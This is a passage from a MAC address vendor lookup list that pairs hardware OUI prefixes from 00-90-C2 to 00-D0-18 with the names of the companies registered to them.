II, Inc. +00-90-C2:JK microsystems, Inc. +00-90-C3:TOPIC SEMICONDUCTOR CORP. +00-90-C4:JAVELIN SYSTEMS, INC. +00-90-C5:INTERNET MAGIC, INC. +00-90-C6:OPTIM SYSTEMS, INC. +00-90-C7:ICOM INC. +00-90-C8:WAVERIDER COMMUNICATIONS (CANADA) INC. +00-90-C9:DPAC Technologies +00-90-CA:ACCORD VIDEO TELECOMMUNICATIONS, LTD. +00-90-CB:Wireless OnLine, Inc. +00-90-CC:PLANET COMMUNICATIONS, INC. +00-90-CD:ENT-EMPRESA NACIONAL DE TELECOMMUNICACOES, S.A. +00-90-CE:TETRA GmbH +00-90-CF:NORTEL +00-90-D0:Thomson Belgium +00-90-D1:LEICHU ENTERPRISE CO., LTD. +00-90-D2:ARTEL VIDEO SYSTEMS +00-90-D3:GIESECKE & DEVRIENT GmbH +00-90-D4:BindView Development Corp. +00-90-D5:EUPHONIX, INC. +00-90-D6:CRYSTAL GROUP +00-90-D7:NetBoost Corp. +00-90-D8:WHITECROSS SYSTEMS +00-90-D9:CISCO SYSTEMS, INC. +00-90-DA:DYNARC, INC. +00-90-DB:NEXT LEVEL COMMUNICATIONS +00-90-DC:TECO INFORMATION SYSTEMS +00-90-DD:THE MIHARU COMMUNICATIONS CO., LTD. +00-90-DE:CARDKEY SYSTEMS, INC. +00-90-DF:MITSUBISHI CHEMICAL AMERICA, INC. +00-90-E0:SYSTRAN CORP. +00-90-E1:TELENA S.P.A. +00-90-E2:DISTRIBUTED PROCESSING TECHNOLOGY +00-90-E3:AVEX ELECTRONICS INC. +00-90-E4:NEC AMERICA, INC. +00-90-E5:TEKNEMA, INC. +00-90-E6:ACER LABORATORIES, INC. +00-90-E7:HORSCH ELEKTRONIK AG +00-90-E8:MOXA TECHNOLOGIES CORP., LTD. +00-90-E9:JANZ COMPUTER AG +00-90-EA:ALPHA TECHNOLOGIES, INC. +00-90-EB:SENTRY TELECOM SYSTEMS +00-90-EC:PYRESCOM +00-90-ED:CENTRAL SYSTEM RESEARCH CO., LTD. +00-90-EE:PERSONAL COMMUNICATIONS TECHNOLOGIES +00-90-EF:INTEGRIX, INC. +00-90-F0:HARMONIC LIGHTWAVES, LTD. +00-90-F1:DOT HILL SYSTEMS CORPORATION +00-90-F2:CISCO SYSTEMS, INC. +00-90-F3:ASPECT COMMUNICATIONS +00-90-F4:LIGHTNING INSTRUMENTATION +00-90-F5:CLEVO CO. +00-90-F6:ESCALATE NETWORKS, INC. +00-90-F7:NBASE COMMUNICATIONS LTD. +00-90-F8:MEDIATRIX TELECOM +00-90-F9:LEITCH +00-90-FA:GigaNet, Inc. +00-90-FB:PORTWELL, INC. +00-90-FC:NETWORK COMPUTING DEVICES +00-90-FD:CopperCom, Inc. +00-90-FE:ELECOM CO., LTD. (LANEED DIV.) +00-90-FF:TELLUS TECHNOLOGY INC. +00-91-D6:Crystal Group, Inc. +00-9D-8E:CARDIAC RECORDERS, INC. +00-A0-00:CENTILLION NETWORKS, INC. +00-A0-01:WATKINS-JOHNSON COMPANY +00-A0-02:LEEDS & NORTHRUP AUSTRALIA PTY LTD +00-A0-03:STAEFA CONTROL SYSTEM +00-A0-04:NETPOWER, INC. +00-A0-05:DANIEL INSTRUMENTS, LTD. +00-A0-06:IMAGE DATA PROCESSING SYSTEM GROUP +00-A0-07:APEXX TECHNOLOGY, INC. +00-A0-08:NETCORP +00-A0-09:WHITETREE NETWORK +00-A0-0A:R.D.C. COMMUNICATION +00-A0-0B:COMPUTEX CO., LTD. +00-A0-0C:KINGMAX TECHNOLOGY, INC. +00-A0-0D:THE PANDA PROJECT +00-A0-0E:VISUAL NETWORKS, INC. +00-A0-0F:Broadband Technologies +00-A0-10:SYSLOGIC DATENTECHNIK AG +00-A0-11:MUTOH INDUSTRIES LTD. +00-A0-12:B.A.T.M. ADVANCED TECHNOLOGIES +00-A0-13:TELTREND LTD. +00-A0-14:CSIR +00-A0-15:WYLE +00-A0-16:MICROPOLIS CORP. +00-A0-17:J B M CORPORATION +00-A0-18:CREATIVE CONTROLLERS, INC. +00-A0-19:NEBULA CONSULTANTS, INC. +00-A0-1A:BINAR ELEKTRONIK AB +00-A0-1B:PREMISYS COMMUNICATIONS, INC. +00-A0-1C:NASCENT NETWORKS CORPORATION +00-A0-1D:SIXNET +00-A0-1E:EST CORPORATION +00-A0-1F:TRICORD SYSTEMS, INC. +00-A0-20:CITICORP/TTI +00-A0-21:GENERAL DYNAMICS- +00-A0-22:CENTRE FOR DEVELOPMENT OF ADVANCED COMPUTING +00-A0-23:APPLIED CREATIVE TECHNOLOGY, INC. +00-A0-24:3COM CORPORATION +00-A0-25:REDCOM LABS INC. +00-A0-26:TELDAT, S.A. +00-A0-27:FIREPOWER SYSTEMS, INC. +00-A0-28:CONNER PERIPHERALS +00-A0-29:COULTER CORPORATION +00-A0-2A:TRANCELL SYSTEMS +00-A0-2B:TRANSITIONS RESEARCH CORP. +00-A0-2C:interWAVE Communications +00-A0-2D:1394 Trade Association +00-A0-2E:BRAND COMMUNICATIONS, LTD. +00-A0-2F:PIRELLI CAVI +00-A0-30:CAPTOR NV/SA +00-A0-31:HAZELTINE CORPORATION, MS 1-17 +00-A0-32:GES SINGAPORE PTE. LTD. +00-A0-33:imc MeBsysteme GmbH +00-A0-34:AXEL +00-A0-35:CYLINK CORPORATION +00-A0-36:APPLIED NETWORK TECHNOLOGY +00-A0-37:DATASCOPE CORPORATION +00-A0-38:EMAIL ELECTRONICS +00-A0-39:ROSS TECHNOLOGY, INC. +00-A0-3A:KUBOTEK CORPORATION +00-A0-3B:TOSHIN ELECTRIC CO., LTD. +00-A0-3C:EG&G NUCLEAR INSTRUMENTS +00-A0-3D:OPTO-22 +00-A0-3E:ATM FORUM +00-A0-3F:COMPUTER SOCIETY MICROPROCESSOR & MICROPROCESSOR STANDARDS C +00-A0-40:APPLE COMPUTER +00-A0-41:LEYBOLD-INFICON +00-A0-42:SPUR PRODUCTS CORP. +00-A0-43:AMERICAN TECHNOLOGY LABS, INC. +00-A0-44:NTT IT CO., LTD. +00-A0-45:PHOENIX CONTACT GMBH & CO. +00-A0-46:SCITEX CORP. LTD. +00-A0-47:INTEGRATED FITNESS CORP. +00-A0-48:QUESTECH, LTD. +00-A0-49:DIGITECH INDUSTRIES, INC. +00-A0-4A:NISSHIN ELECTRIC CO., LTD. +00-A0-4B:TFL LAN INC. +00-A0-4C:INNOVATIVE SYSTEMS & TECHNOLOGIES, INC. +00-A0-4D:EDA INSTRUMENTS, INC. +00-A0-4E:VOELKER TECHNOLOGIES, INC. +00-A0-4F:AMERITEC CORP. +00-A0-50:CYPRESS SEMICONDUCTOR +00-A0-51:ANGIA COMMUNICATIONS. INC. +00-A0-52:STANILITE ELECTRONICS PTY. LTD +00-A0-53:COMPACT DEVICES, INC. +00-A0-54:PRIVATE +00-A0-55:Data Device Corporation +00-A0-56:MICROPROSS +00-A0-57:LANCOM Systems GmbH +00-A0-58:GLORY, LTD. +00-A0-59:HAMILTON HALLMARK +00-A0-5A:KOFAX IMAGE PRODUCTS +00-A0-5B:MARQUIP, INC. +00-A0-5C:INVENTORY CONVERSION, INC./ +00-A0-5D:CS COMPUTER SYSTEME GmbH +00-A0-5E:MYRIAD LOGIC INC. +00-A0-5F:BTG ENGINEERING BV +00-A0-60:ACER PERIPHERALS, INC. +00-A0-61:PURITAN BENNETT +00-A0-62:AES PRODATA +00-A0-63:JRL SYSTEMS, INC. +00-A0-64:KVB/ANALECT +00-A0-65:Symantec Corporation +00-A0-66:ISA CO., LTD. +00-A0-67:NETWORK SERVICES GROUP +00-A0-68:BHP LIMITED +00-A0-69:Symmetricom, Inc. +00-A0-6A:Verilink Corporation +00-A0-6B:DMS DORSCH MIKROSYSTEM GMBH +00-A0-6C:SHINDENGEN ELECTRIC MFG. CO., LTD. +00-A0-6D:MANNESMANN TALLY CORPORATION +00-A0-6E:AUSTRON, INC. +00-A0-6F:THE APPCON GROUP, INC. +00-A0-70:COASTCOM +00-A0-71:VIDEO LOTTERY TECHNOLOGIES,INC +00-A0-72:OVATION SYSTEMS LTD. +00-A0-73:COM21, INC. +00-A0-74:PERCEPTION TECHNOLOGY +00-A0-75:MICRON TECHNOLOGY, INC. +00-A0-76:CARDWARE LAB, INC. +00-A0-77:FUJITSU NEXION, INC. +00-A0-78:Marconi Communications +00-A0-79:ALPS ELECTRIC (USA), INC. +00-A0-7A:ADVANCED PERIPHERALS TECHNOLOGIES, INC. +00-A0-7B:DAWN COMPUTER INCORPORATION +00-A0-7C:TONYANG NYLON CO., LTD. +00-A0-7D:SEEQ TECHNOLOGY, INC. +00-A0-7E:AVID TECHNOLOGY, INC. +00-A0-7F:GSM-SYNTEL, LTD. +00-A0-80:SBE, Inc. +00-A0-81:ALCATEL DATA NETWORKS +00-A0-82:NKT ELEKTRONIK A/S +00-A0-83:ASIMMPHONY TURKEY +00-A0-84:DATAPLEX PTY. LTD. +00-A0-85:PRIVATE +00-A0-86:AMBER WAVE SYSTEMS, INC. +00-A0-87:Zarlink Semiconductor Ltd. +00-A0-88:ESSENTIAL COMMUNICATIONS +00-A0-89:XPOINT TECHNOLOGIES, INC. +00-A0-8A:BROOKTROUT TECHNOLOGY, INC. +00-A0-8B:ASTON ELECTRONIC DESIGNS LTD. +00-A0-8C:MultiMedia LANs, Inc. +00-A0-8D:JACOMO CORPORATION +00-A0-8E:Nokia Internet Communications +00-A0-8F:DESKNET SYSTEMS, INC. +00-A0-90:TimeStep Corporation +00-A0-91:APPLICOM INTERNATIONAL +00-A0-92:H. BOLLMANN MANUFACTURERS, LTD +00-A0-93:B/E AEROSPACE, Inc. +00-A0-94:COMSAT CORPORATION +00-A0-95:ACACIA NETWORKS, INC. +00-A0-96:MITUMI ELECTRIC CO., LTD. +00-A0-97:JC INFORMATION SYSTEMS +00-A0-98:NETWORK APPLIANCE CORP. +00-A0-99:K-NET LTD. +00-A0-9A:NIHON KOHDEN AMERICA +00-A0-9B:QPSX COMMUNICATIONS, LTD. +00-A0-9C:Xyplex, Inc. +00-A0-9D:JOHNATHON FREEMAN TECHNOLOGIES +00-A0-9E:ICTV +00-A0-9F:COMMVISION CORP. +00-A0-A0:COMPACT DATA, LTD. +00-A0-A1:EPIC DATA INC. +00-A0-A2:DIGICOM S.P.A. +00-A0-A3:RELIABLE POWER METERS +00-A0-A4:MICROS SYSTEMS, INC. +00-A0-A5:TEKNOR MICROSYSTEME, INC. +00-A0-A6:M.I. SYSTEMS, K.K. +00-A0-A7:VORAX CORPORATION +00-A0-A8:RENEX CORPORATION +00-A0-A9:GN NETTEST (CANADA) NAVTEL DIVISION +00-A0-AA:SPACELABS MEDICAL +00-A0-AB:NETCS INFORMATIONSTECHNIK GMBH +00-A0-AC:GILAT SATELLITE NETWORKS, LTD. +00-A0-AD:MARCONI SPA +00-A0-AE:NUCOM SYSTEMS, INC. +00-A0-AF:WMS INDUSTRIES +00-A0-B0:I-O DATA DEVICE, INC. +00-A0-B1:FIRST VIRTUAL CORPORATION +00-A0-B2:SHIMA SEIKI +00-A0-B3:ZYKRONIX +00-A0-B4:TEXAS MICROSYSTEMS, INC. +00-A0-B5:3H TECHNOLOGY +00-A0-B6:SANRITZ AUTOMATION CO., LTD. +00-A0-B7:CORDANT, INC. +00-A0-B8:SYMBIOS LOGIC INC. +00-A0-B9:EAGLE TECHNOLOGY, INC. +00-A0-BA:PATTON ELECTRONICS CO. +00-A0-BB:HILAN GMBH +00-A0-BC:VIASAT, INCORPORATED +00-A0-BD:I-TECH CORP. +00-A0-BE:INTEGRATED CIRCUIT SYSTEMS, INC. COMMUNICATIONS GROUP +00-A0-BF:WIRELESS DATA GROUP MOTOROLA +00-A0-C0:DIGITAL LINK CORP. +00-A0-C1:ORTIVUS MEDICAL AB +00-A0-C2:R.A. SYSTEMS CO., LTD. +00-A0-C3:UNICOMPUTER GMBH +00-A0-C4:CRISTIE ELECTRONICS LTD. +00-A0-C5:ZYXEL COMMUNICATION +00-A0-C6:QUALCOMM INCORPORATED +00-A0-C7:TADIRAN TELECOMMUNICATIONS +00-A0-C8:ADTRAN INC. +00-A0-C9:INTEL CORPORATION - HF1-06 +00-A0-CA:FUJITSU DENSO LTD. +00-A0-CB:ARK TELECOMMUNICATIONS, INC. +00-A0-CC:LITE-ON COMMUNICATIONS, INC. +00-A0-CD:DR. JOHANNES HEIDENHAIN GmbH +00-A0-CE:ASTROCOM CORPORATION +00-A0-CF:SOTAS, INC. +00-A0-D0:TEN X TECHNOLOGY, INC. +00-A0-D1:INVENTEC CORPORATION +00-A0-D2:ALLIED TELESIS INTERNATIONAL CORPORATION +00-A0-D3:INSTEM COMPUTER SYSTEMS, LTD. +00-A0-D4:RADIOLAN, INC. +00-A0-D5:SIERRA WIRELESS INC. +00-A0-D6:SBE, INC. +00-A0-D7:KASTEN CHASE APPLIED RESEARCH +00-A0-D8:SPECTRA - TEK +00-A0-D9:CONVEX COMPUTER CORPORATION +00-A0-DA:INTEGRATED SYSTEMS Technology, Inc. +00-A0-DB:FISHER & PAYKEL PRODUCTION +00-A0-DC:O.N. ELECTRONIC CO., LTD. +00-A0-DD:AZONIX CORPORATION +00-A0-DE:YAMAHA CORPORATION +00-A0-DF:STS TECHNOLOGIES, INC. +00-A0-E0:TENNYSON TECHNOLOGIES PTY LTD +00-A0-E1:WESTPORT RESEARCH ASSOCIATES, INC. +00-A0-E2:KEISOKU GIKEN CORP. +00-A0-E3:XKL SYSTEMS CORP. +00-A0-E4:OPTIQUEST +00-A0-E5:NHC COMMUNICATIONS +00-A0-E6:DIALOGIC CORPORATION +00-A0-E7:CENTRAL DATA CORPORATION +00-A0-E8:REUTERS HOLDINGS PLC +00-A0-E9:ELECTRONIC RETAILING SYSTEMS INTERNATIONAL +00-A0-EA:ETHERCOM CORP. +00-A0-EB:Encore Networks +00-A0-EC:TRANSMITTON LTD. +00-A0-ED:PRI AUTOMATION +00-A0-EE:NASHOBA NETWORKS +00-A0-EF:LUCIDATA LTD. +00-A0-F0:TORONTO MICROELECTRONICS INC. +00-A0-F1:MTI +00-A0-F2:INFOTEK COMMUNICATIONS, INC. +00-A0-F3:STAUBLI +00-A0-F4:GE +00-A0-F5:RADGUARD LTD. +00-A0-F6:AutoGas Systems Inc. +00-A0-F7:V.I COMPUTER CORP. +00-A0-F8:SYMBOL TECHNOLOGIES, INC. +00-A0-F9:BINTEC COMMUNICATIONS GMBH +00-A0-FA:Marconi Communication GmbH +00-A0-FB:TORAY ENGINEERING CO., LTD. +00-A0-FC:IMAGE SCIENCES, INC. +00-A0-FD:SCITEX DIGITAL PRINTING, INC. +00-A0-FE:BOSTON TECHNOLOGY, INC. +00-A0-FF:TELLABS OPERATIONS, INC. +00-AA-00:INTEL CORPORATION +00-AA-01:INTEL CORPORATION +00-AA-02:INTEL CORPORATION +00-AA-3C:OLIVETTI TELECOM SPA (OLTECO) +00-B0-09:Grass Valley Group +00-B0-17:InfoGear Technology Corp. +00-B0-19:Casi-Rusco +00-B0-1C:Westport Technologies +00-B0-1E:Rantic Labs, Inc. +00-B0-2A:ORSYS GmbH +00-B0-2D:ViaGate Technologies, Inc. +00-B0-3B:HiQ Networks +00-B0-48:Marconi Communications Inc. +00-B0-4A:Cisco Systems, Inc. +00-B0-52:Intellon Corporation +00-B0-64:Cisco Systems, Inc. +00-B0-69:Honewell Oy +00-B0-6D:Jones Futurex Inc. +00-B0-80:Mannesmann Ipulsys B.V. +00-B0-86:LocSoft Limited +00-B0-8E:Cisco Systems, Inc. +00-B0-91:Transmeta Corp. +00-B0-94:Alaris, Inc. +00-B0-9A:Morrow Technologies Corp. +00-B0-9D:Point Grey Research Inc. +00-B0-AC:SIAE-Microelettronica S.p.A. +00-B0-AE:Symmetricom +00-B0-B3:Xstreamis PLC +00-B0-C2:Cisco Systems, Inc. +00-B0-C7:Tellabs Operations, Inc. +00-B0-CE:TECHNOLOGY RESCUE +00-B0-D0:Dell Computer Corp. +00-B0-DB:Nextcell, Inc. +00-B0-DF:Reliable Data Technology, Inc. +00-B0-E7:British Federal Ltd. +00-B0-EC:EACEM +00-B0-EE:Ajile Systems, Inc. +00-B0-F0:CALY NETWORKS +00-B0-F5:NetWorth Technologies, Inc. +00-BB-01:OCTOTHORPE CORP. +00-BB-F0:UNGERMANN-BASS INC. +00-C0-00:LANOPTICS, LTD. +00-C0-01:DIATEK PATIENT MANAGMENT +00-C0-02:SERCOMM CORPORATION +00-C0-03:GLOBALNET COMMUNICATIONS +00-C0-04:JAPAN BUSINESS COMPUTER CO.LTD +00-C0-05:LIVINGSTON ENTERPRISES, INC. +00-C0-06:NIPPON AVIONICS CO., LTD. +00-C0-07:PINNACLE DATA SYSTEMS, INC. +00-C0-08:SECO SRL +00-C0-09:KT TECHNOLOGY (S) PTE LTD +00-C0-0A:MICRO CRAFT +00-C0-0B:NORCONTROL A.S. +00-C0-0C:RELIA TECHNOLGIES +00-C0-0D:ADVANCED LOGIC RESEARCH, INC. +00-C0-0E:PSITECH, INC. +00-C0-0F:QUANTUM SOFTWARE SYSTEMS LTD. +00-C0-10:HIRAKAWA HEWTECH CORP. +00-C0-11:INTERACTIVE COMPUTING DEVICES +00-C0-12:NETSPAN CORPORATION +00-C0-13:NETRIX +00-C0-14:TELEMATICS CALABASAS INT'L,INC +00-C0-15:NEW MEDIA CORPORATION +00-C0-16:ELECTRONIC THEATRE CONTROLS +00-C0-17:FORTE NETWORKS +00-C0-18:LANART CORPORATION +00-C0-19:LEAP TECHNOLOGY, INC. +00-C0-1A:COROMETRICS MEDICAL SYSTEMS +00-C0-1B:SOCKET COMMUNICATIONS, INC. +00-C0-1C:INTERLINK COMMUNICATIONS LTD. +00-C0-1D:GRAND JUNCTION NETWORKS, INC. +00-C0-1E:LA FRANCAISE DES JEUX +00-C0-1F:S.E.R.C.E.L. +00-C0-20:ARCO ELECTRONIC, CONTROL LTD. +00-C0-21:NETEXPRESS +00-C0-22:LASERMASTER TECHNOLOGIES, INC. +00-C0-23:TUTANKHAMON ELECTRONICS +00-C0-24:EDEN SISTEMAS DE COMPUTACAO SA +00-C0-25:DATAPRODUCTS CORPORATION +00-C0-26:LANS TECHNOLOGY CO., LTD. +00-C0-27:CIPHER SYSTEMS, INC. +00-C0-28:JASCO CORPORATION +00-C0-29:Nexans Deutschland AG - ANS +00-C0-2A:OHKURA ELECTRIC CO., LTD. +00-C0-2B:GERLOFF GESELLSCHAFT FUR +00-C0-2C:CENTRUM COMMUNICATIONS, INC. +00-C0-2D:FUJI PHOTO FILM CO., LTD. +00-C0-2E:NETWIZ +00-C0-2F:OKUMA CORPORATION +00-C0-30:INTEGRATED ENGINEERING B. V. +00-C0-31:DESIGN RESEARCH SYSTEMS, INC. +00-C0-32:I-CUBED LIMITED +00-C0-33:TELEBIT COMMUNICATIONS APS +00-C0-34:TRANSACTION NETWORK +00-C0-35:QUINTAR COMPANY +00-C0-36:RAYTECH ELECTRONIC CORP. +00-C0-37:DYNATEM +00-C0-38:RASTER IMAGE PROCESSING SYSTEM +00-C0-39:TDK SEMICONDUCTOR CORPORATION +00-C0-3A:MEN-MIKRO ELEKTRONIK GMBH +00-C0-3B:MULTIACCESS COMPUTING CORP. +00-C0-3C:TOWER TECH S.R.L. +00-C0-3D:WIESEMANN & THEIS GMBH +00-C0-3E:FA. GEBR. HELLER GMBH +00-C0-3F:STORES AUTOMATED SYSTEMS, INC. +00-C0-40:ECCI +00-C0-41:DIGITAL TRANSMISSION SYSTEMS +00-C0-42:DATALUX CORP. +00-C0-43:STRATACOM +00-C0-44:EMCOM CORPORATION +00-C0-45:ISOLATION SYSTEMS, LTD. +00-C0-46:KEMITRON LTD. +00-C0-47:UNIMICRO SYSTEMS, INC. +00-C0-48:BAY TECHNICAL ASSOCIATES +00-C0-49:U.S. ROBOTICS, INC. +00-C0-4A:GROUP 2000 AG +00-C0-4B:CREATIVE MICROSYSTEMS +00-C0-4C:DEPARTMENT OF FOREIGN AFFAIRS +00-C0-4D:MITEC, INC. +00-C0-4E:COMTROL CORPORATION +00-C0-4F:DELL COMPUTER CORPORATION +00-C0-50:TOYO DENKI SEIZO K.K. +00-C0-51:ADVANCED INTEGRATION RESEARCH +00-C0-52:BURR-BROWN +00-C0-53:DAVOX CORPORATION +00-C0-54:NETWORK PERIPHERALS, LTD. +00-C0-55:MODULAR COMPUTING TECHNOLOGIES +00-C0-56:SOMELEC +00-C0-57:MYCO ELECTRONICS +00-C0-58:DATAEXPERT CORP. +00-C0-59:NIPPON DENSO CO., LTD. +00-C0-5A:SEMAPHORE COMMUNICATIONS CORP. +00-C0-5B:NETWORKS NORTHWEST, INC. +00-C0-5C:ELONEX PLC +00-C0-5D:L&N TECHNOLOGIES +00-C0-5E:VARI-LITE, INC. +00-C0-5F:FINE-PAL COMPANY LIMITED +00-C0-60:ID SCANDINAVIA AS +00-C0-61:SOLECTEK CORPORATION +00-C0-62:IMPULSE TECHNOLOGY +00-C0-63:MORNING STAR TECHNOLOGIES, INC +00-C0-64:GENERAL DATACOMM IND. INC. +00-C0-65:SCOPE COMMUNICATIONS, INC. +00-C0-66:DOCUPOINT, INC. +00-C0-67:UNITED BARCODE INDUSTRIES +00-C0-68:PHILIP DRAKE ELECTRONICS LTD. +00-C0-69:Axxcelera Broadband Wireless +00-C0-6A:ZAHNER-ELEKTRIK GMBH & CO. KG +00-C0-6B:OSI PLUS CORPORATION +00-C0-6C:SVEC COMPUTER CORP. +00-C0-6D:BOCA RESEARCH, INC. +00-C0-6E:HAFT TECHNOLOGY, INC. +00-C0-6F:KOMATSU LTD. +00-C0-70:SECTRA SECURE-TRANSMISSION AB +00-C0-71:AREANEX COMMUNICATIONS, INC. +00-C0-72:KNX LTD. +00-C0-73:XEDIA CORPORATION +00-C0-74:TOYODA AUTOMATIC LOOM +00-C0-75:XANTE CORPORATION +00-C0-76:I-DATA INTERNATIONAL A-S +00-C0-77:DAEWOO TELECOM LTD. +00-C0-78:COMPUTER SYSTEMS ENGINEERING +00-C0-79:FONSYS CO.,LTD. +00-C0-7A:PRIVA B.V. +00-C0-7B:ASCEND COMMUNICATIONS, INC. +00-C0-7C:HIGHTECH INFORMATION +00-C0-7D:RISC DEVELOPMENTS LTD. +00-C0-7E:KUBOTA CORPORATION ELECTRONIC +00-C0-7F:NUPON COMPUTING CORP. +00-C0-80:NETSTAR, INC. +00-C0-81:METRODATA LTD. +00-C0-82:MOORE PRODUCTS CO. +00-C0-83:TRACE MOUNTAIN PRODUCTS, INC. +00-C0-84:DATA LINK CORP. LTD. +00-C0-85:ELECTRONICS FOR IMAGING, INC. +00-C0-86:THE LYNK CORPORATION +00-C0-87:UUNET TECHNOLOGIES, INC. +00-C0-88:EKF ELEKTRONIK GMBH +00-C0-89:TELINDUS DISTRIBUTION +00-C0-8A:LAUTERBACH DATENTECHNIK GMBH +00-C0-8B:RISQ MODULAR SYSTEMS, INC. +00-C0-8C:PERFORMANCE TECHNOLOGIES, INC. +00-C0-8D:TRONIX PRODUCT DEVELOPMENT +00-C0-8E:NETWORK INFORMATION TECHNOLOGY +00-C0-8F:MATSUSHITA ELECTRIC WORKS, LTD +00-C0-90:PRAIM S.R.L. +00-C0-91:JABIL CIRCUIT, INC. +00-C0-92:MENNEN MEDICAL INC. +00-C0-93:ALTA RESEARCH CORP. +00-C0-94:VMX INC. +00-C0-95:ZNYX +00-C0-96:TAMURA CORPORATION +00-C0-97:ARCHIPEL SA +00-C0-98:CHUNTEX ELECTRONIC CO., LTD. +00-C0-99:YOSHIKI INDUSTRIAL CO.,LTD. +00-C0-9A:PHOTONICS CORPORATION +00-C0-9B:RELIANCE COMM/TEC, R-TEC +00-C0-9C:TOA ELECTRONIC LTD. +00-C0-9D:DISTRIBUTED SYSTEMS INT'L, INC +00-C0-9E:CACHE COMPUTERS, INC. +00-C0-9F:QUANTA COMPUTER, INC. +00-C0-A0:ADVANCE MICRO RESEARCH, INC. +00-C0-A1:TOKYO DENSHI SEKEI CO. +00-C0-A2:INTERMEDIUM A/S +00-C0-A3:DUAL ENTERPRISES CORPORATION +00-C0-A4:UNIGRAF OY +00-C0-A5:DICKENS DATA SYSTEMS +00-C0-A6:EXICOM AUSTRALIA PTY. LTD +00-C0-A7:SEEL LTD. +00-C0-A8:GVC CORPORATION +00-C0-A9:BARRON MCCANN LTD. +00-C0-AA:SILICON VALLEY COMPUTER +00-C0-AB:Telco Systems, Inc. +00-C0-AC:GAMBIT COMPUTER COMMUNICATIONS +00-C0-AD:MARBEN COMMUNICATION SYSTEMS +00-C0-AE:TOWERCOM CO. INC. DBA PC HOUSE +00-C0-AF:TEKLOGIX INC. +00-C0-B0:GCC TECHNOLOGIES,INC. +00-C0-B1:GENIUS NET CO. +00-C0-B2:NORAND CORPORATION +00-C0-B3:COMSTAT DATACOMM CORPORATION +00-C0-B4:MYSON TECHNOLOGY, INC. +00-C0-B5:CORPORATE NETWORK SYSTEMS,INC. +00-C0-B6:Snap Appliance, Inc. +00-C0-B7:AMERICAN POWER CONVERSION CORP +00-C0-B8:FRASER'S HILL LTD. +00-C0-B9:FUNK SOFTWARE, INC. +00-C0-BA:NETVANTAGE +00-C0-BB:FORVAL CREATIVE, INC. +00-C0-BC:TELECOM AUSTRALIA/CSSC +00-C0-BD:INEX TECHNOLOGIES, INC. +00-C0-BE:ALCATEL - SEL +00-C0-BF:TECHNOLOGY CONCEPTS, LTD. +00-C0-C0:SHORE MICROSYSTEMS, INC. +00-C0-C1:QUAD/GRAPHICS, INC. +00-C0-C2:INFINITE NETWORKS LTD. +00-C0-C3:ACUSON COMPUTED SONOGRAPHY +00-C0-C4:COMPUTER OPERATIONAL +00-C0-C5:SID INFORMATICA +00-C0-C6:PERSONAL MEDIA CORP. +00-C0-C7:SPARKTRUM MICROSYSTEMS, INC. +00-C0-C8:MICRO BYTE PTY. LTD. +00-C0-C9:ELSAG BAILEY PROCESS +00-C0-CA:ALFA, INC. +00-C0-CB:CONTROL TECHNOLOGY CORPORATION +00-C0-CC:TELESCIENCES CO SYSTEMS, INC. +00-C0-CD:COMELTA, S.A. +00-C0-CE:CEI SYSTEMS & ENGINEERING PTE +00-C0-CF:IMATRAN VOIMA OY +00-C0-D0:RATOC SYSTEM INC. +00-C0-D1:COMTREE TECHNOLOGY CORPORATION +00-C0-D2:SYNTELLECT, INC. +00-C0-D3:OLYMPUS IMAGE SYSTEMS, INC. +00-C0-D4:AXON NETWORKS, INC. +00-C0-D5:QUANCOM ELECTRONIC GMBH +00-C0-D6:J1 SYSTEMS, INC. +00-C0-D7:TAIWAN TRADING CENTER DBA +00-C0-D8:UNIVERSAL DATA SYSTEMS +00-C0-D9:QUINTE NETWORK CONFIDENTIALITY +00-C0-DA:NICE SYSTEMS LTD. +00-C0-DB:IPC CORPORATION (PTE) LTD. +00-C0-DC:EOS TECHNOLOGIES, INC. +00-C0-DD:QLogic Corporation +00-C0-DE:ZCOMM, INC. +00-C0-DF:KYE Systems Corp. +00-C0-E0:DSC COMMUNICATION CORP. +00-C0-E1:SONIC SOLUTIONS +00-C0-E2:CALCOMP, INC. +00-C0-E3:OSITECH COMMUNICATIONS, INC. +00-C0-E4:SIEMENS BUILDING +00-C0-E5:GESPAC, S.A. +00-C0-E6:Verilink Corporation +00-C0-E7:FIBERDATA AB +00-C0-E8:PLEXCOM, INC. +00-C0-E9:OAK SOLUTIONS, LTD. +00-C0-EA:ARRAY TECHNOLOGY LTD. +00-C0-EB:SEH COMPUTERTECHNIK GMBH +00-C0-EC:DAUPHIN TECHNOLOGY +00-C0-ED:US ARMY ELECTRONIC +00-C0-EE:KYOCERA CORPORATION +00-C0-EF:ABIT CORPORATION +00-C0-F0:KINGSTON TECHNOLOGY CORP. +00-C0-F1:SHINKO ELECTRIC CO., LTD. +00-C0-F2:TRANSITION NETWORKS +00-C0-F3:NETWORK COMMUNICATIONS CORP. +00-C0-F4:INTERLINK SYSTEM CO., LTD. +00-C0-F5:METACOMP, INC. +00-C0-F6:CELAN TECHNOLOGY INC. +00-C0-F7:ENGAGE COMMUNICATION, INC. +00-C0-F8:ABOUT COMPUTING INC. +00-C0-F9:HARRIS AND JEFFRIES, INC. +00-C0-FA:CANARY COMMUNICATIONS, INC. +00-C0-FB:ADVANCED TECHNOLOGY LABS +00-C0-FC:ELASTIC REALITY, INC. +00-C0-FD:PROSUM +00-C0-FE:APTEC COMPUTER SYSTEMS, INC. +00-C0-FF:DOT HILL SYSTEMS CORPORATION +00-CB-BD:Cambridge Broadband Ltd. +00-CF-1C:COMMUNICATION MACHINERY CORP. +00-D0-00:FERRAN SCIENTIFIC, INC. +00-D0-01:VST TECHNOLOGIES, INC. +00-D0-02:DITECH CORPORATION +00-D0-03:COMDA ENTERPRISES CORP. +00-D0-04:PENTACOM LTD. +00-D0-05:ZHS ZEITMANAGEMENTSYSTEME +00-D0-06:CISCO SYSTEMS, INC. +00-D0-07:MIC ASSOCIATES, INC. +00-D0-08:MACTELL CORPORATION +00-D0-09:HSING TECH. ENTERPRISE CO. LTD +00-D0-0A:LANACCESS TELECOM S.A. +00-D0-0B:RHK TECHNOLOGY, INC. +00-D0-0C:SNIJDER MICRO SYSTEMS +00-D0-0D:MICROMERITICS INSTRUMENT +00-D0-0E:PLURIS, INC. +00-D0-0F:SPEECH DESIGN GMBH +00-D0-10:CONVERGENT NETWORKS, INC. +00-D0-11:PRISM VIDEO, INC. +00-D0-12:GATEWORKS CORP. +00-D0-13:PRIMEX AEROSPACE COMPANY +00-D0-14:ROOT, INC. +00-D0-15:UNIVEX MICROTECHNOLOGY CORP. +00-D0-16:SCM MICROSYSTEMS, INC. +00-D0-17:SYNTECH INFORMATION CO., LTD. +00-D0-18:QWES. COM, INC. 